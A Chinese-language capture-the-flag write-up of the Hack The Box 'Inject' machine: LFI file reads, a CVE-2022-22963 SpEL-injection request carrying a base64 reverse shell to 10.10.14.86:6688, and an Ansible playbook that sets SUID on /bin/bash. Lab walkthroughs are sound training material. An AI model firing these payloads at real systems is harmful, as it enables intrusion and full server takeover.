HTB靶场之-inject
准备:
攻击机:虚拟机kali。
靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Inject。
知识点:ansible提权(非漏洞提权)、本地文件包含漏洞、CVE-2022-22963、敏感信息发现。
一:信息收集
1.nmap扫描
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p22,80,8080,3306 -A 10.10.11.204,显示开放了22端口、8080端口,开启了ssh服务、http服务。

2.web服务
请求下其8080端口的web服务:http://10.10.11.204:8080/,发现存在文件上传的功能点。进行上传测试时显示只允许上传图片文件。


二:信息利用
1.文件上传
那就尝试上传一个图片码,win的cmd中copy即可生成,然后将生成的图片码上传到靶机,显示上传成功并可以查看图片信息。

2.本地文件包含漏洞
然后就尝试进行命令执行:curl http://10.10.11.204:8080/show_image?img=pass1.jpg?pass=id,意外获得了文件的绝对路径:/var/www/WebApp/src/main/uploads/pass1.jpg。

修改下请求的地址,尝试访问下上级目录发现是可以正常访问的。

然后就是利用这一直查找,共发现以下信息:
系统账户:frank、phil
#使用ssh登录时,无法直接登录
phil账户的密码信息:DocPhillovestoInject123
#命令:curl http://10.10.11.204:8080/show_image?img=../../../../WebApp/pom.xml
依赖信息:org.springframework.cloud <version>3.2.2</version>



三:CVE-2022-22963漏洞
springframework.cloud版本在3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2时存在一个spel注入漏洞,其编号是cve-2022-22963,该漏洞的利用方式可以在vulhub网站查看:https://vulhub.org/#/environments/spring/CVE-2022-22963/,利用也较为简单。使用bp抓取:http://10.10.11.204:8080的数据包并进行修改。
#抓取的数据包
GET / HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
#修改后的数据包
#加密数据为base64加密,内容为:bash -i >& /dev/tcp/10.10.14.86/6688 0>&1
#10.10.14.86为本机新增的一个地址
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Ni82Njg4IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 8
test
然后在kali中开启对6688端口的监听,命令:nc -nvlp 6688,然后发送修改后的数据包,成功获得shell权限。

获得shell权限后利用上面发现的phil账户的密码信息:DocPhillovestoInject123切换到phil账户,然后在/home/phil目录下发现user.txt文件,读取该文件成功获得flag值。

四:提权
1.信息收集
先是使用sudo -l想查看下是否存在特权命令,未成功,然后想着查找下特权文件,发现了/usr/lib/policykit-1/polkit-agent-helper-1,之前遇到过两个这样的漏洞,经过测试均无法利用。

然后就上传了LinEnum.sh和pspy64进行信息收集,在pspy64中发现存在定时任务(不太好找,慢慢看,别急),会删除/opt/automation/tasks目录下的所有文件,然后重新将/root/playbook_1.yml复制到/opt/automation/tasks/playbook_1.yml,然后执行/opt/automation/tasks/下的所有文件。

2.ansible
首先看一下playbook_1.yml的内容与格式,并进行简单的说明。
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
host部分:使用hosts指示使用哪个主机或者主机组来运行下面的tasks,每个playbooks都必须指定hosts,host也可以使用通配符格式。
tasks:指定远端主机将要执行的一系列动作。tasks的核心为ansible的模块,tasks包含name和要执行的模块,name是可选的,只是为了便于用户阅读,模块是必须的,同时也要给予模块相应的参数。
然后百度下如何执行命令,结果如下:

3.提权
那我们就按照playbook_1.yml格式,构造一个playbook_2.yml来执行我们需要执行的命令,格式如下:
- hosts: localhost
tasks:
- name: getroot
command: sudo chmod u+s /bin/bash
然后将playbook_2.yml上传到靶机,等待一会执行bash -p后成功获得root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

HTB靶场之-inject的更多相关文章
- 【HTB靶场系列】靶机Carrier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day4 - SSRF实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- [红日安全]Web安全Day9 - 文件下载漏洞实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day12 – 会话安全实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
随机推荐
- Go_day02
Go基础语法 流程控制 一共有三种:顺序结构,选择结构,循环结构 if语句 /* if与else if的区别: 1:if无论是否满足条件都会向下执行,直到程序结束,else if 满足一个条件就会停止 ...
- 解决ssh $host jps bash: jps: command not found 问题
问题描述 使用 ssh $host jps 命令报错,连本机也会有这样的情况,但是分开使用并没有问题,即ssh $host下执行jps命令并不会报错. 原因 因为ssh远程连接到服务器的环境变量中不包 ...
- 学习记录--C++作业3
1.类是一个模板吗? 是:类模板是一个抽象的类,代表类的一般特性,可以用类模板来创建类,所有的类都有共有的特性. 4.函数模板的实例化是什么? 模板函数,即函数 3.关于cin和cout说法正确的: ...
- podman 入门实战
一入编程深似海,从此节操是路人. 最近使用podman,就想着写一篇总结性的笔记,以备后续参考.就如同写代码,不写注释,过了一段时间可能会想这是我写的吗?不会吧,还要理一下逻辑才能读懂,不利于后期维护 ...
- 使用vCenter对ESXi主机进行补丁升级
使用vCenter 对ESXi 主机进行补丁升级 背景说明:公司内部有许多ESXi主机需要进行补丁升级,记录一下通过vCenter对ESXi主机进行补丁升级的过程,也可以使用esxcli命令行方式: ...
- Android笔记--如何在Android studio里面打开数据库
具体操作 可参考这篇(更为详细): https://www.cnblogs.com/liuzijin/p/17029231.html 1.找到界面内的Device File Explorer 这里找可 ...
- Stream 未释放系统资源问题处理
Unreleased Resource: Streams Abstract 程序可能无法成功释放某一项系统资源. Explanation 程序可能无法成功释放某一项系统资源. 资源泄露至少有两种常见的 ...
- 跨域解决方案CORS
这里说的 js 跨域是指通过 js 在不同的域之间进行数据传输或通信,例如通过 ajax 向一个不同的域请求数据,或者通过 js 获取页面中不同域中(iframe)的数据.只要协议.域名.端口有任何一 ...
- Lua基础语法学习笔记
Lua是一门语言,我们可以使用一个库,可以在运行时去编译执行Lua中的代码,从而实现自己的内存中的数据和逻辑: 准备学习环境: 新建一个Lua项目目录,用来写我们的Lua代码: 进入目录,右键使用vs ...
- 关于js类的继承
原型链继承 特点:基于原型链,既是父类的实例,也是子类的实例. 缺点: 无法实现多继承. 构造继承 特点: 可以实现多继承. 缺点: 之能继承父类实例的属性和方法,不能继承原型上的属性和方法. 实例继 ...